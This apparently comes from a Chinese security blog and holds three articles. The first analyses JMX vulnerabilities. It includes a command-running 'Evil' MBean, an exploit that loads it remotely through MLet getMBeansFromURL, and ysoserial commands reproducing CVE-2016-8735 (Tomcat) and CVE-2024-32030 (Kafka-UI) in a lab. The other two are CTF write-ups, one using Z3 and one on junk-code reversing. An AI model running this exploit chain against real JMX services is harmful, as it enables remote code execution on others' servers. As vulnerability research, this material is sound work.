前言 前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。 JMX 基础 JMX 前置知识 JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。 可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。 JMX 的结构一共分为三层: 1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。 standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。 dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。 JMX 基础代码实践 以下代码实现简单的 JMX demo,文件结构 ├── HelloWorld.java   ├── HelloWorldMBean.java   └── jmxDemo.java HelloWorldMBean.java package org.example; public interface HelloWorldMBean {    public void sayhello();    public int add(int x, int y);    public String getName(); } HelloWorld.java package org.example; public class HelloWorld implements HelloWorldMBean{    private String name = "Drunkbaby";    @Override    public void sayhello() {        System.out.println("hello world" + this.name);   }    @Override    public int add(int x, int y) {        return x + y;   }    @Override    public String getName() {        return this.name;   } } jmxDemo.java package org.example; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class jmxDemo {    public static void main(String[] args) throws Exception{        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();        ObjectName mbsName = new ObjectName("test:type=HelloWorld");        HelloWorld mbean = new HelloWorld();        mBeanServer.registerMBean(mbean, mbsName);        // 创建一个 RMI Registry        Registry registry = LocateRegistry.createRegistry(1099);        // 构造 JMXServiceURL,绑定创建的 RMI        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");        // 构造JMXConnectorServer,关联 mbserver        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);        jmxConnectorServer.start();        System.out.println("JMXConnectorServer is ready");        System.out.println("press any key to exit.");        System.in.read();   } } 其中 Probe Level:创建了 HelloWorldMBean 实例 mbean Agent Level:创建了 MBeanServer 实例 mbs Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs JMX 安全问题 JMX 的安全问题主要发生在以下三处 1、jmx2、mbean3、rmi 其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。 Mlet Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。 攻击过程: 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件 JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取 攻击者最终调用来自恶意 MBean 的方法 下面我们来编写一个漏洞实例。 Evil MBean 文件结构 ├── Evil.java └── EvilMBean.java EvilMBean.java package com.drunkbaby.mlet;     public interface EvilMBean {      public String runCommand(String cmd);   } Evil.java package com.drunkbaby.mlet;     import java.io.BufferedReader;   import java.io.InputStreamReader;     public class Evil implements EvilMBean   {      public String runCommand(String cmd)     {          try {              Runtime rt = Runtime.getRuntime();              Process proc = rt.exec(cmd);              BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));              BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));              String stdout_err_data = "";              String s;              while ((s = stdInput.readLine()) != null)             {                  stdout_err_data += s+"\n";             }              while ((s = stdError.readLine()) != null)             {                  stdout_err_data += s+"\n";             }              proc.waitFor();              return stdout_err_data;         }          catch (Exception e)         {              return e.toString();         }     }   } Mlet Server 将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html <html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html> 整体结构如图 Attack Code ExploitJMXByRemoteMBean.java package com.drunkbaby.mlet;     import javax.management.MBeanServerConnection;   import javax.management.ObjectInstance;   import javax.management.ObjectName;   import javax.management.remote.JMXConnector;   import javax.management.remote.JMXConnectorFactory;   import javax.management.remote.JMXServiceURL;   import java.net.MalformedURLException;   import java.util.HashSet;   import java.util.Iterator;     public class ExploitJMXByRemoteMBean {        public static void main(String[] args) {          try {   //           connectAndOwn(args[0], args[1], args[2]);              connectAndOwn("localhost","1099","open -a Calculator");         } catch (Exception e) {              e.printStackTrace();         }     }        static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {          try {              // step1. 通过rmi创建 jmx连接              JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");              System.out.println("URL: " + u + ", connecting");              JMXConnector c = JMXConnectorFactory.connect(u);              System.out.println("Connected: " + c.getConnectionId());              MBeanServerConnection m = c.getMBeanServerConnection();                // step2. 加载特殊MBean:javax.management.loading.MLet              ObjectInstance evil_bean = null;              ObjectInstance evil = null;              try {                  evil = m.createMBean("javax.management.loading.MLet", null);             } catch (javax.management.InstanceAlreadyExistsException e) {                  evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));             }              // step3:通过MLet加载远程恶意MBean              System.out.println("Loaded "+evil.getClassName());              Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]                             { "http://localhost:4141/evil.html"},                      new String[] { String.class.getName() } );                HashSet res_set = ((HashSet)res);              Iterator itr = res_set.iterator();              Object nextObject = itr.next();              if (nextObject instanceof Exception)             {                  throw ((Exception)nextObject);             }              evil_bean = ((ObjectInstance)nextObject);                // step4: 执行恶意MBean              System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());              System.out.println("Calling runCommand with: "+command);              Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });              System.out.println("Result: "+result);         } catch (Exception e)         {              e.printStackTrace();         }     }   } 很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。 JMX 反序列化漏洞 在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题 JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735 漏洞描述 这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。 影响版本 Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47 环境搭建 https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。 漏洞复现 漏洞复现的 EXP 已经有了 java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success" 漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer try {      RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);      cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());      cs.start();      registry.bind("jmxrmi", server);      log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));   } catch (AlreadyBoundException | IOException var15) {      log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);   } 很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发 同样这里其实也是用 RMI 协议来打的。 利用 Mlet 的方式动态加载 MBean 这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。 而 JMX 调用远程 MBean 方法有以下流程: 1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。 所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean package ysoserial.exploit; import javax.management.MBeanServerConnection; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import ysoserial.payloads.ObjectPayload.Utils; /* * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * */ public class JMXInvokeMBean { public static void main(String[] args) throws Exception { if ( args.length < 4 ) { System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>"); System.exit(-1); }   JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");         JMXConnector jmxConnector = JMXConnectorFactory.connect(url); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); // create the payload Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); //close the connection jmxConnector.close();   } } 我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。 当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞 https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/漏洞描述 Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。 影响版本 Kafka-UI <= 0.7.1 环境搭建 Kafka-UI 的 docker version: '3.8' services: kafka-ui:   image: provectuslabs/kafka-ui:v0.7.1   container_name: kafka-ui   environment:     - DYNAMIC_CONFIG_ENABLED=true     - JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005   ports:     - "8080:8080"     - "5005:5005" Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了 version: '2' services: zookeeper:   image: zookeeper   restart: always   ports:     - "2181:2181"   container_name: zookeeper kafka:   image: wurstmeister/kafka   restart: always   ports:     - "9092:9092"     - "9094:9094"   depends_on:     - zookeeper   environment:     KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1     KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181     KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094     KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094     KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL     KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT   container_name: kafka 漏洞复现 使用 ysoserial 直接打,起一个恶意的 JMX 服务。 git clone https://github.com/artsploit/ysoserial/ cd ysoserial && git checkout scala1 mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true" 开启了之后,使用 Kafka-UI 去连接该 JMX 第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。 服务器接收到恶意的请求 随后第二步直接使用 CC 链打。 java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt" 攻击成功 漏洞分析 通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo 最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法 后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。 这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。
【总结】逻辑运算在Z3中运用+CTF习题
国际赛IrisCTF在前几天举办,遇到了一道有意思的题目,特来总结。 题目 附件如下:https://www.yuque.com/attachments/yuque/0/2024/tar/33529154/1704561294084-9b9bc6bd-6da0-4178-9c3d-5b1bd9a98c0f.tar 解题过程 关键main函数分析如下: int __fastcall main(int argc, const char **argv, const char  **envp) {  int v4; // [rsp+4h] [rbp-7Ch]  int v5; // [rsp+4h] [rbp-7Ch]  int v6; // [rsp+8h] [rbp-78h]  int v7; // [rsp+Ch] [rbp-74h]  char input[104]; // [rsp+10h] [rbp-70h] BYREF  unsigned __int64 v9; // [rsp+78h] [rbp-8h]  v9 = __readfsqword(0x28u);  puts("Welcome to the Johnson's family!");  puts("You have gotten to know each person decently well, so let's see  if you remember all of the facts.");  puts("(Remember that each of the members like different things from  each other.)");  v4 = 0;  while ( v4 <= 3 ) // 在提供的颜色中,选择4种 {  printf("Please choose %s's favorite color: ", (&names)[v4]);//  4个人  __isoc99_scanf("%99s", input);  if ( !strcmp(input, colors) ) {  v6 = 1; // red  goto LABEL_11; }  if ( !strcmp(input, s2) ) {  v6 = 2; // blue  goto LABEL_11; }  if ( !strcmp(input, off_4050) ) {  v6 = 3; // green  goto LABEL_11; }  if ( !strcmp(input, off_4058) ) {  v6 = 4; // yellow  LABEL_11:  if ( v6 == chosenColors[0] || v6 == dword_4094 || v6 ==  dword_4098 || v6 == dword_409C )// 选择4个颜色,然后顺序不能一样  puts("That option was already chosen!");  else  chosenColors[v4++] = v6; // 存储选择的颜色(已经转换成了数字) }  else {  puts("Invalid color!"); } }  v5 = 0;  while ( v5 <= 3 ) {  printf("Please choose %s's favorite food: ", (&names)[v5]);//  4个人最喜欢的食物  __isoc99_scanf("%99s", input);  if ( !strcmp(input, foods) ) {  v7 = 1; // pizza  goto LABEL_28; }  if ( !strcmp(input, off_4068) ) {  v7 = 2; // pasta  goto LABEL_28; }  if ( !strcmp(input, off_4070) ) {  v7 = 3; // steak  goto LABEL_28; }  if ( !strcmp(input, off_4078) ) {  v7 = 4; // chicken  LABEL_28:  if ( v7 == chosenFoods[0] || v7 == dword_40A4 || v7 == dword_40A8  || v7 == dword_40AC )  puts("That option was already chosen!");  else  chosenFoods[v5++] = v7; }  else {  puts("Invalid food!"); } }  check(); // 开始check,检测我们输入的颜色和食物是否正确  return 0; }  ----------------------------------------------------------------------- 将check提取出来,我们方便分析 其实到这里已经可以得到结果了,国外的题目确实很讲究趣味性,用颜色和食物作为导向,引导一步一步分析 笔者使用静态分析的方法,一步一步跟踪 C++ int check() {  bool v0; // dl  _BOOL4 v1; // eax  _BOOL4 v2; // edx  v0 = dword_40A8 != 2 && dword_40AC != 2;    v1 = v0 && dword_4094 != 1;  v2 = chosenColors[0] != 3 && dword_4094 != 3;  if ( !v2 || !v1 || chosenFoods[0] != 4 || dword_40AC == 3 ||  dword_4098 == 4 || dword_409C != 2 )  return puts("Incorrect.");  puts("Correct!");  return system("cat flag.txt"); // 执行cat flag的命令 }  ----------------------------------------------------------------------- 对应的输入值地址如下: 我们将颜色color数组用x系列表示,将食物用food数组y系列表示 化简如下: C++  v0 = y3 != 2 && y4 != 2;    v1 = v0 && x2 != 1;  v2 = x1 != 3 && x2 != 3;  if ( !v2 || !v1 || y1 != 4 || y4 == 3 || x3 == 4 || x4 != 2 ) {  //错误 }  else {  //成功 }  ----------------------------------------------------------------------- 思路1:简单粗暴的爆破,但不是学习的目的,因此并不采用 思路2:锻炼写脚本能力,使用z3解题可以锻炼写脚本的能力,因此采用 Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)    # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作    # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- 得到结果 Python  成功:  x1 = 4  x2 = 0  x3 = 5  x4 = 2  y1 = 4  y2 = None  y3 = 3  y4 = 0  ----------------------------------------------------------------------- 其实有经验的师傅发现了,这是有多解的,因为没有为约束变量添加范围约束 改进之后的代码如下: Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)  range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4  >= 1, x4 <= 4,  y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)  # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作  solver.add(range_constraint)  # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- 得到结果: -----------------------------------------------------------------------  Python  成功:  x1 = 1  x2 = 4  x3 = 1  x4 = 2  y1 = 4  y2 = 1  y3 = 3  y4 = 4  ----------------------------------------------------------------------- 发现x1和x3重复了,因此还要添加值不重复约束 Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)  #值范围约束  range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4  >= 1, x4 <= 4,  y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)  #非重复值约束  distinct_x=Distinct(x1,x2,x3,x4)  distinct_y=Distinct(y1,y2,y3,y4)    # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作  solver.add(range_constraint)  solver.add(distinct_y)  solver.add(distinct_x)  # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- 最终得到正确的结果 Python 成功: x1 = 1 x2 = 4 x3 = 3 x4 = 2 y1 = 4 y2 = 2 y3 = 3 y4 = 1 x1-x4= 1 4 3 2 y1-y4= 4 2 3 1 按照这样的顺序输入即可: 得到了flag irisctf{m0r3_th4n_0n3_l0g1c_puzzl3_h3r3} 总结 题目并不是很难,没有复杂的ollvm混淆也没有复杂的加密。但是却一步一步引导我们去学习和总结。z3解题的过程中,会有很多误解,然后经过自己的思考总结,发现了漏掉的东西,再进行补充,最终写出正确的脚本。 国外的题还是很值得学习的,不单单为了出题而出题。这就是逻辑运算在z3的运用以及如何增加约束,让z3求解出我们需要的key。
一道关于逆向的实战CTF题目分析
前言 本题自带call型花指令,考验选手对花指令的理解程度。加密属于基础的异或和左右移位加密。主要考察选手的基础能力,动态调试和写脚本的能力。在这篇文章,详细记录了我的分析过程,相信你会有很大收获。 1、查壳 PE64位,没壳程序 2、IDA分析去花指令 使用IDA打开时,发现一片红,很正常的CTF考点:花指令 sub_main 当务之急是如何去除花指令,继续向下分析,发现了一些端倪 花指令的形成是干扰编译器的分析,但又不会影响程序的正常运行。 那么显而易见,会将某个寄存器进行push(保存)然后对其进行复杂操作,最终pop(恢复)该寄存器的值,程序正常执行。 而在本程序中,可以发现该手法: push ebx ..... pop ebx 中间的过程均无需再看,直接NOP操作。 nop完记得保存修改。 接下来就可以分析main函数啦 而这两个函数恰好均为关键的函数。 sub_401040 此时,我们可以看到函数开头的位置存在多个push操作,不要急着nop。对照函数结束的部分,避免误杀友军。 可以看到pop和push是相互对应的,开头push,结束就要pop。 此时注意到:push、pop不是要nop的点,我们继续分析 熟悉混淆的朋友一定可以识别出这是一个call型混淆。 call一个地址,然后修改堆栈返回值,retn跳过混淆,相对之前的混淆需要对堆栈有一定的理解。 识别出来,进行nop即可 得到加密函数 int __cdecl sub_401040(char a1, int a2) {  return ((a2 ^ a1) << 8) - a2; } sub_401080 来分析另一个函数 相同的操作 得到加密算法 int __cdecl sub_401080(char a1, int a2) {    return a2 ^ (a1 << 8); } 3、分析加密流程 那么现在的任务是获得加密函数的顺序,这里采用动态调试的方法来获得: 得到顺序 left xor xor left xor left left xor left left xor xor xor left left left xor xor xor left xor xor left xor left left left left xor xor xor left 将left用1替代,xor用0替代,得到顺序: int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 }; ‍密文可以看到是: dword_402120 数组 unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08 }; 4、写出解密算法 #include <stdio.h> void left(unsigned int a1, unsigned int a2) {    // (a1>>8)^a2    printf("%c", ((a1 ^ a2)>>8 )); } void xors(unsigned int a1, unsigned int a2) {    //(((a1+a2)>>8)^a2)    printf("%c", (((a1 + a2) >> 8) ^ a2)); } int main() {    unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08   };    int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 };    for (size_t i = 0; i < 32; i++)   {        if (temp[i]) {            //left            left(dword_402120[i], 8);       }        else {            //xor            xors(dword_402120[i], 40);       }   } } 到此,恭喜你学会了分析一道CTF题目最基本的步骤。